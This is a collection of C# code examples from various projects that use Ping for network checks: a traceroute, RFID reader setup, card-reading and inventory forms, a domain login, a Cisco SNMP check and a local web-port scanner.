        public static IEnumerable <TracertEntry> Trace(IPAddress address, int maxHops, int timeout, bool reverseDnsLookup)
        {
            // Max hops should be at least one or else there won't be any data to return.
            if (maxHops < 1)
            {
                throw new ArgumentException("Max hops can't be lower than 1.");
            }

            // Ensure that the timeout is not set to 0 or a negative number.
            if (timeout < 1)
            {
                throw new ArgumentException("Timeout value must be higher than 0.");
            }


            Ping        ping          = new Ping();
            PingOptions pingOptions   = new PingOptions(1, true);
            Stopwatch   pingReplyTime = new Stopwatch();
            PingReply   reply;

            byte[] buffer = new byte[0];
            int    consecutiveTimeouts = 0;

            do
            {
                pingReplyTime.Start();
                reply = ping.Send(address, timeout, buffer, pingOptions);
                pingReplyTime.Stop();
                IPAddress replyAddress = reply.Address;
                if (replyAddress != null && replyAddress.GetAddressBytes().All(b => b == 0))
                {
                    replyAddress = null;
                }
                string hostname = string.Empty;
                if (reverseDnsLookup && replyAddress != null)
                {
                    try
                    {
                        hostname = Dns.GetHostEntry(replyAddress).HostName;                            // Retrieve the hostname for the replied address.
                    }
                    catch (SocketException) { /* No host available for that address. */ }
                }
                if (reply.Status == IPStatus.TimedOut)
                {
                    consecutiveTimeouts++;
                }
                else
                {
                    consecutiveTimeouts = 0;
                }
                // Return out TracertEntry object with all the information about the hop.
                yield return(new TracertEntry()
                {
                    HopID = pingOptions.Ttl,
                    Address = replyAddress,
                    Hostname = hostname,
                    ReplyTime = pingReplyTime.ElapsedMilliseconds,
                    ReplyStatus = reply.Status
                });

                pingOptions.Ttl++;
                pingReplyTime.Reset();
            }while (reply.Status != IPStatus.Success && pingOptions.Ttl <= maxHops && consecutiveTimeouts < 5);
        }
示例#54
0
        public void Connect()
        {
            #region Client
            foreach (XmlNode node in Common.sysit_xml.DocumentElement.SelectNodes("Reader"))
            {
                MyReader r = new MyReader(node.Attributes["Name"].Value);
                try
                {
                    if (!r.reader.IsConnected)
                    {
                        if (r.reader.PortType == "TCPIP_Client")
                        {
                            string ip = r.reader.ConnString.Substring(0, r.reader.ConnString.IndexOf(':'));
                            using (Ping ping = new Ping())
                            {
                                PingReply pingReply = null;
                                pingReply = ping.Send(ip, 100);
                                if (pingReply.Status != IPStatus.Success)
                                {
                                    if (OnReaderErrorMsg != null)
                                    {
                                        OnReaderErrorMsg(r.reader, "网络不通");
                                    }
                                    continue;
                                }
                            }
                        }
                        if (r.reader.Connect())
                        {
                            ReaderList.Add(r);
                            if (r.reader.ProtocolVersion == "IRP1")
                            {
                                #region 查询型号
                                if (r.reader.ModelNumber == "unknown")
                                {
                                    String            mn  = "";
                                    IRP1.SysQuery_800 msg = new IRP1.SysQuery_800(0x20);
                                    if (r.reader.Send(msg, 200))
                                    {
                                        mn = Encoding.ASCII.GetString(msg.ReceivedMessage.QueryData).Trim('\0');
                                        r.reader.ModelNumber = mn;
                                    }
                                    if (mn != "XCRF-502E-F6G" && mn != "XC-RF806")
                                    {
                                        IRP1.SysQuery_800 msg1 = new IRP1.SysQuery_800(0x21);
                                        if (r.reader.Send(msg1, 200))
                                        {
                                            mn = Encoding.ASCII.GetString(msg1.ReceivedMessage.QueryData);
                                            if (mn.IndexOf("807") != -1)
                                            {
                                                r.reader.ModelNumber = "XC-RF807";
                                            }
                                            else if (mn.IndexOf("806") != -1)
                                            {
                                                r.reader.ModelNumber = "XC-RF806";
                                            }
                                            else if (mn.IndexOf("860") != -1)
                                            {
                                                r.reader.ModelNumber = "XC-RF860";
                                            }
                                        }
                                        else
                                        {
                                            r.reader.ModelNumber = "XCRF-502E";
                                        }
                                    }
                                    r.reader.ModelNumber = r.reader.ModelNumber.Trim('\0');
                                }
                                #endregion

                                #region 查询RSSI功能
                                {
                                    switch (r.reader.ModelNumber)
                                    {
                                    case "XC-RF807":
                                    case "XC-RF806":
                                    case "XCRF-860":
                                        IRP1.SysQuery_800 order = new IRP1.SysQuery_800(0x14);
                                        if (r.reader.Send(order, 200))
                                        {
                                            if (order.ReceivedMessage.QueryData != null && order.ReceivedMessage.QueryData.Length > 0)
                                            {
                                                if (order.ReceivedMessage.QueryData[0] == 0x01)
                                                {
                                                    r.IsRssiEnable_800 = true;
                                                }
                                                else
                                                {
                                                    r.IsRssiEnable_800 = false;
                                                }
                                            }
                                        }
                                        break;

                                    case "XCRF-502E-F6G":
                                    case "XC-RF811":
                                        r.IsRssiEnable_800 = true;
                                        break;
                                    }
                                }
                                #endregion

                                #region 查询UTC功能
                                {
                                    switch (r.reader.ModelNumber)
                                    {
                                    case "XC-RF807":
                                    case "XC-RF806":
                                    case "XCRF-860":
                                        IRP1.SysQuery_800 order = new IRP1.SysQuery_800(0x18);
                                        if (r.reader.Send(order, 200))
                                        {
                                            if (order.ReceivedMessage.QueryData != null && order.ReceivedMessage.QueryData.Length > 0)
                                            {
                                                if (order.ReceivedMessage.QueryData[0] == 0x01)
                                                {
                                                    r.IsUtcEnable_800 = true;
                                                }
                                                else
                                                {
                                                    r.IsUtcEnable_800 = false;
                                                }
                                            }
                                        }
                                        else
                                        {
                                            r.IsUtcEnable_800 = false;
                                        }
                                        break;
                                    }
                                }
                                #endregion

                                #region 激活天线
                                if (r.scanMsgParam.antennaIndex < 0x80)
                                {
                                    if (r.reader.ModelNumber == "XCRF-860")
                                    {
                                        byte a = 0x01;
                                        switch (r.scanMsgParam.antennaIndex)
                                        {
                                        case 0:
                                            a = 0x01;
                                            break;

                                        case 1:
                                        case 4:
                                            a = 0x02;
                                            break;

                                        case 2:
                                        case 5:
                                            a = 0x03;
                                            break;

                                        case 3:
                                        case 6:
                                            a = 0x04;
                                            break;
                                        }
                                        r.reader.Send(new IRP1.SysConfig_800(0x02, new Byte[] { a }), 200);
                                    }
                                    else if (r.reader.ModelNumber == "XCRF-502E-F6G" ||
                                             r.reader.ModelNumber == "XCRF-502E" ||
                                             r.reader.ModelNumber == "XC-RF811")
                                    {
                                        byte a = r.scanMsgParam.antennaIndex;
                                        r.reader.Send(new IRP1.SysConfig_500(0x02, 0x01, new Byte[] { a }), 200);
                                    }
                                }
                                #endregion
                            }
                            r.reader.OnMessageNotificationReceived +=
                                new MessageNotificationReceivedHandle(r_OnMessageNotificationReceived);
                            if (OnReaderErrorMsg != null)
                            {
                                OnReaderErrorMsg(r.reader, "建立连接成功");
                            }
                        }
                        else
                        {
                            r.reader.Disconnect();
                            if (OnReaderErrorMsg != null)
                            {
                                OnReaderErrorMsg(r.reader, "建立连接失败");
                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    Log.Info(ex.Message);
                }
            }
            #endregion

            #region Server
            foreach (XmlNode node in Common.sysit_xml.DocumentElement.SelectNodes("Server"))
            {
                String        port     = node.Attributes["Port"].Value;
                String        pVer     = node.Attributes["Protocol"].Value;
                TcpIpListener listener = new TcpIpListener(int.Parse(port), pVer);
                try
                {
                    listener.OnClientConn += new OnClientConnHandle(listener_OnClientConn);
                    listener.Run();
                    ServerList.Add(listener);
                    if (OnReaderErrorMsg != null)
                    {
                        OnReaderErrorMsg(null, port + "端口:" + "启动监听服务");
                    }
                }
                catch (Exception ex)
                {
                    if (OnReaderErrorMsg != null)
                    {
                        OnReaderErrorMsg(null, port + "端口:" + "启动监听服务失败");
                    }
                    Log.Info(port + "端口:" + "启动监听服务失败!" + ex.Message);
                }
            }
            #endregion
        }
示例#55
0
        private void sbtnOrgRead_Click(object sender, System.EventArgs e)
        {
            this.txtiSerial.Text     = "";
            this.txtUnionOutIG.Text  = "";
            this.txtUnionOutFee.Text = "";
            Ping      ping = new Ping();
            PingReply pr   = ping.Send("10.10.10.203");

            if (pr.Status != IPStatus.Success)
            {
                MessageBox.Show("童鞋,刷卡失败!vpn掉线了或者网速太慢!,请检查vpn连接!");
                return;
            }

            string strresult = "";

            this.txtOrgAssID.Text     = "";
            this.txtOrgCardID.Text    = "";
            this.txtCurOrgCharge.Text = "";
            this.txtCurOrgIG.Text     = "";

            CMSMStruct.CardHardStruct chs = new CMSMData.CMSMStruct.CardHardStruct();
            chs = cs.ReadCardInfo("", out strresult);
            if (!strresult.Equals(CardCommon.CardDef.ConstMsg.RFOK))
            {
                if (strresult == CardCommon.CardDef.ConstMsg.RFAUTHENTICATION_A_ERR)
                {
                    MessageBox.Show("该卡不属于本系统使用的卡,请检查!", "系统提示", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error);
                    return;
                }
                if (strresult.Substring(0, 2) == "RF")
                {
                    MessageBox.Show("刷卡失败,请重试!", "系统提示", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error);
                }
                else
                {
                    MessageBox.Show("刷卡失败,请重试!\n" + strresult, "系统提示", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error);
                }

                if (strresult != null)
                {
                    clog.WriteLine(strresult);
                }
                return;
            }
            if (chs.strCardID == "")
            {
                MessageBox.Show("会员卡号不正确,请重试!", "系统提示", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error);
                return;
            }
            else if (chs.strCardID.Substring(0, 1) == "F")
            {
                MessageBox.Show("此卡为员工卡,不可进行转出撤消!", "系统提示", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Error);
                return;
            }
            else
            {
                err = null;
                DataTable dsout = new DataTable();
                dsout = cs.GetMaterialOut(chs.strCardID, out err);
                if (dsout != null && dsout.Rows.Count > 0)
                {
                    this.DataTableConvert(dsout, "vcDeptID", "MD", "vcCommCode", "vcCommName");
                }
                else
                {
                    this.sbtnUnionOut.Enabled = false;
                }
                this.txtOrgCardID.Text     = chs.strCardID.ToString();
                this.txtCurOrgCharge.Text  = chs.dCurCharge.ToString();
                this.txtCurOrgIG.Text      = chs.iCurIg.ToString();
                this.dataGrid1.CaptionText = "转出错误明细";
                this.dataGrid1.SetDataBinding(dsout, "");
                this.EnToCh("流水号,会员ID,会员卡号,转出金额,转出积分,操作员,门店,操作日期", "110,60,70,70,70,200,120,160", dsout, this.dataGrid1);
            }
        }
示例#56
0
        private void txtDresBarCode_KeyDown(object sender, KeyEventArgs e)
        {
            if (e.KeyCode == Keys.Enter)
            {
                if (txtDresBarCode.Text == String.Empty)
                {
                    return;
                }
                DataSet ds = ErpService.DressManagement.DressesManage(txtDresBarCode.Text);

                if (ds.Tables[0].Rows.Count == 0)
                {
                    MessageBox.Show(@"该礼服不存在或已被淘汰或输错了礼服条码,请重新输入!");
                    return;
                }

                if (
                    dgvDressInfo.Rows.Cast <DataGridViewRow>()
                    .Any(rowView => rowView.Cells["DressBarCode"].Value.ToString() == txtDresBarCode.Text))
                {
                    MessageBox.Show(@"该礼服已录入!");
                    return;
                }

                if (ds.Tables[0].Rows[0]["DressStatus"].SafeDbValue <string>() == _state)
                {
                    MessageBox.Show(@"该礼服已是  " + _state + @"  状态!");
                    return;
                }
                Dictionary <string, string> dressBarCodes = new Dictionary <string, string>
                {
                    { txtDresBarCode.Text, ds.Tables[0].Rows[0]["DressStatus"].SafeDbValue <string>() }
                };
                if (ErpService.DressManagement.UpdateDressState(dressBarCodes, _state, _position, Information.CurrentUser.EmployeeNO))
                {
                    dgvDressInfo.AutoGenerateColumns = false;
                    dgvDressInfo.DataSource          = null;
                    DataRow newDataRow = ds.Tables[0].Rows[0];
                    dgvDressInfo.Rows.Add(newDataRow.ItemArray);
                    txtDresBarCode.Clear();
                    lblSum.Text = @"显示总数:" + dgvDressInfo.Rows.Count;
                    dressBarCodes.Clear();
                }
                else
                {
                    MessageBox.Show(@"操作失败,重新操作!");
                    return;
                }

                string imgPath = ds.Tables[0].Rows[0]["DressImagePath"].ToString();
                ds.Dispose();
                if (_state == @"礼服接收" || _state == @"清洗完成")
                {
                    picImage.Visible = false;
                    return;
                }
                if (imgPath != String.Empty)
                {
                    string[]  pingStrings = imgPath.Split(Convert.ToChar(@"\"));
                    Ping      ping        = new Ping();
                    PingReply pingReply   = ping.Send(pingStrings[2]);
                    if (pingReply != null && pingReply.Status != IPStatus.Success)
                    {
                        MessageBox.Show(@"照片路径无法访问!");
                        picImage.Image = null;
                        return;
                    }
                    picImage.Image =
                        FileTool.ReadImageFile(imgPath.Replace("jpg", "lf").Replace("JPG", "lf")).ZoomImage(picImage.Size, true, Color.LightGray);
                }
                else
                {
                    picImage.Image = null;
                }
            }
        }
示例#57
0
        // İnternet bağlantısının olup olmadığını Google'a ping atarak test et
        private static bool BaglantiVarMi()
        {
            PingReply pingCevabi = new Ping().Send("www.google.com", 1000);

            return(pingCevabi != null && pingCevabi.Status == IPStatus.Success);
        }
示例#58
0
        private void btnLogin_Click(object sender, EventArgs e)
        {
            bool   isValid = false;
            string domain = string.Empty, user = string.Empty, pass = string.Empty;

            Thread thLogin;

            thLogin = new Thread(() =>
            {
                try
                {
                    using (PrincipalContext pc = new PrincipalContext(ContextType.Domain, domain))
                    {
                        isValid = pc.ValidateCredentials(user, pass);
                    }
                }
                catch (Exception ex)
                {
                    this.Invoke((MethodInvoker) delegate {
                        updateProgress(0);
                        cbBoxDomains.Items.Clear();
                        cbBoxDomains.Items.Add("Domain is Off-line");
                        cbBoxDomains.SelectedIndex = 0;
                        cbBoxDomains.BackColor     = System.Drawing.Color.Salmon;
                    });
                    Thread.CurrentThread.Abort();
                }

                if (isValid)
                {
                    userAccount             = dLibAd.locateUsr(new PrincipalContext(ContextType.Domain, domain, user, pass), user);
                    userAccount.StructClass = domain + "|" + user + "|" + pass;

                    frmMain.domainAccountData   = new string[] { domain, user, pass };
                    frmMain.domainAccountObject = userAccount;
                    if (ckBoxSaveCredentials.Checked)
                    {
                        saveLogin(domain, user, pass);
                    }
                    this.DialogResult = DialogResult.OK;
                }
                else
                {
                    this.Invoke((MethodInvoker) delegate
                    {
                        MessageBox.Show("Invalid Credentials", "Something went Wrong...", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
                        updateProgress(0);
                    });
                }
            });


            //Start Login Process
            if (cbBoxDomains.SelectedItem != null)
            {
                domain = cbBoxDomains.SelectedItem.ToString();
            }
            else
            {
                domain = cbBoxDomains.Text.Trim();
            }

            Ping      pingDC      = new Ping();
            PingReply pingDCReply = null;

            try
            {
                pingDCReply = pingDC.Send(domain, 120);
            }
            catch { }
            if ((pingDCReply != null) && (pingDCReply.Status == IPStatus.Success))
            {
                if (lvLogins.SelectedItems.Count > 0)
                {
                    dLibAd.adUsers currentSelectedUser = (dLibAd.adUsers)lvLogins.SelectedItems[0].Tag;
                    user = dLibCypher.DecText(currentSelectedUser.StructClass.Split('|')[0], "OC7Wwx9vui*y6ltCTv,e*u$z+4Hv:o%uSYZB5P7dpaYa5N.zsx.SP]lvAL7k50dA");
                    pass = dLibCypher.DecText(currentSelectedUser.StructClass.Split('|')[1], "OC7Wwx9vui*y6ltCTv,e*u$z+4Hv:o%uSYZB5P7dpaYa5N.zsx.SP]lvAL7k50dA");
                    updateProgress(1);
                    thLogin.Start();
                }
                else
                {
                    if (txtBoxUser.Text != string.Empty && txtBoxUser.Text != string.Empty)
                    {
                        user = txtBoxUser.Text;
                        pass = txtBoxPass.Text;
                        updateProgress(1);
                        thLogin.Start();
                    }
                    else
                    {
                        MessageBox.Show("You have to enter your Credentials first!", "Information", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
            }
            else
            {
                cbBoxDomains.Items.Clear();
                cbBoxDomains.Items.Add("Domain is Off-line");
                cbBoxDomains.SelectedIndex = 0;
                cbBoxDomains.BackColor     = System.Drawing.Color.Salmon;
            }
        }
示例#59
0
        private void Save_Click(object sender, EventArgs e)
        {
            IPAddress address;

            if (!IPAddress.TryParse(ComboBoxIpAddressCisco.Text, out address))
            {
                MessageBox.Show("Введите корректно IP адрес");
                return;
            }

            //Проверяем существует ли такой ip адрес
            if (ComboBoxIpAddressCisco.FindString(ComboBoxIpAddressCisco.Text) != -1)
            {
                MessageBox.Show("Cisco с таким IPадресом уже добавлена");
                return;
            }

            //идет ли пинг
            try
            {
                Ping      pingSender = new Ping();
                PingReply reply      = pingSender.Send(ComboBoxIpAddressCisco.Text);
            }

            catch
            {
                MessageBox.Show("IP адрес не доступен");
                return;
            }

            //правильно ли указан community, то бишь может ли она получить доступ по SNMP
            UdpTarget target = new UdpTarget((IPAddress) new IpAddress(ComboBoxIpAddressCisco.Text), 161, 500, 0);
            Pdu       pdu    = new Pdu(PduType.Get);

            pdu.VbList.Add(".1.3.6.1.2.1.1.6.0");
            AgentParameters aparam = new AgentParameters(SnmpVersion.Ver2, new OctetString(TextBoxCommunity.Text));
            SnmpV2Packet    response;

            try
            {
                response = target.Request(pdu, aparam) as SnmpV2Packet;
            }

            catch (Exception ex)
            {
                MessageBox.Show("connection failed");
                MessageBox.Show(ex.Message);
                target.Close();
                return;
            }


            var value = new IPCom(ComboBoxIpAddressCisco.Text, TextBoxCommunity.Text);

            var serviceContext = new WaterGateServiceContext();
            var list           = StaticValues.CiscoList.ToList();

            list.Add(value);

            Save.Enabled   = false;
            Delete.Enabled = false;
            Change.Enabled = false;
            Cursor         = Cursors.AppStarting;
            serviceContext.UpdateCiscoRouters(list, (error) =>
            {
                if (error != null)
                {
                    MessageBox.Show("Произошла ошибка при соединении с сервером, проверьте наличие соединения.",
                                    "Ошибка", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                else
                {
                    Invoke(new Action(() =>
                    {
                        MessageBox.Show("Запись успешно добавлена.",
                                        "Готово", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        //добавляем в наш массив
                        StaticValues.CiscoList.Add(value);

                        //добавляем в Combobox
                        this.ComboBoxIpAddressCisco.Items.Add(ComboBoxIpAddressCisco.Text);

                        TextBoxCommunity.Clear();
                        ComboBoxIpAddressCisco.ResetText();
                    }));
                }


                Invoke(new Action(() =>
                {
                    Save.Enabled   = true;
                    Delete.Enabled = true;
                    Change.Enabled = true;
                    Cursor         = Cursors.Arrow;
                }));
            });
        }
示例#60
0
        private void PortScanner(IEnumerable <int> ports, string ipaddress, ManualResetEvent mre)
        {
            bool found;

            if (!DnsEntries.Contains(ipaddress))
            {
                const string data   = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
                byte[]       buffer = Encoding.ASCII.GetBytes(data);

                var       netMon  = new Ping();
                var       options = new PingOptions(128, true);
                PingReply pr      = netMon.Send(ipaddress, 3000, buffer, options);
                found = pr != null && pr.Status == IPStatus.Success;
            }
            else
            {
                found = true;
            }
            if (found)
            {
                MainForm.LogMessageToFile("Ping response from " + ipaddress);
                string hostname = "Unknown";
                try
                {
                    var ipToDomainName = Dns.GetHostEntry(ipaddress);
                    hostname = ipToDomainName.HostName;
                }
                catch
                {
                }

                foreach (int iport in ports)
                {
                    try
                    {
                        string req     = ipaddress + ":" + iport;
                        var    request = (HttpWebRequest)WebRequest.Create("http://" + req);
                        request.Referer           = "";
                        request.Timeout           = 3000;
                        request.UserAgent         = "Mozilla/5.0";
                        request.AllowAutoRedirect = false;

                        HttpWebResponse response = null;

                        try
                        {
                            response = (HttpWebResponse)request.GetResponse();
                        }
                        catch (WebException e)
                        {
                            response = (HttpWebResponse)e.Response;
                        }
                        catch (Exception ex)
                        {
                            MainForm.LogMessageToFile("Web error from " + ipaddress + ":" + iport + " " + ex.Message);
                        }
                        if (response != null)
                        {
                            MainForm.LogMessageToFile("Web response from " + ipaddress + ":" + iport + " " +
                                                      response.StatusCode);
                            if (response.Headers != null)
                            {
                                string webserver = "yes";
                                foreach (string k in response.Headers.AllKeys)
                                {
                                    if (k.ToLower().Trim() == "server")
                                    {
                                        webserver = response.Headers[k];
                                    }
                                }
                                lock (_dt)
                                {
                                    DataRow dr = _dt.NewRow();
                                    dr[0] = ipaddress;
                                    dr[1] = iport;
                                    dr[2] = hostname;
                                    dr[3] = webserver;
                                    _dt.Rows.Add(dr);
                                    _dt.AcceptChanges();
                                }
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        MainForm.LogMessageToFile("Web error from " + ipaddress + ":" + iport + " " + ex.Message);
                    }
                }
                UISync.Execute(() => dataGridView1.Refresh());
            }
            mre.Set();
        }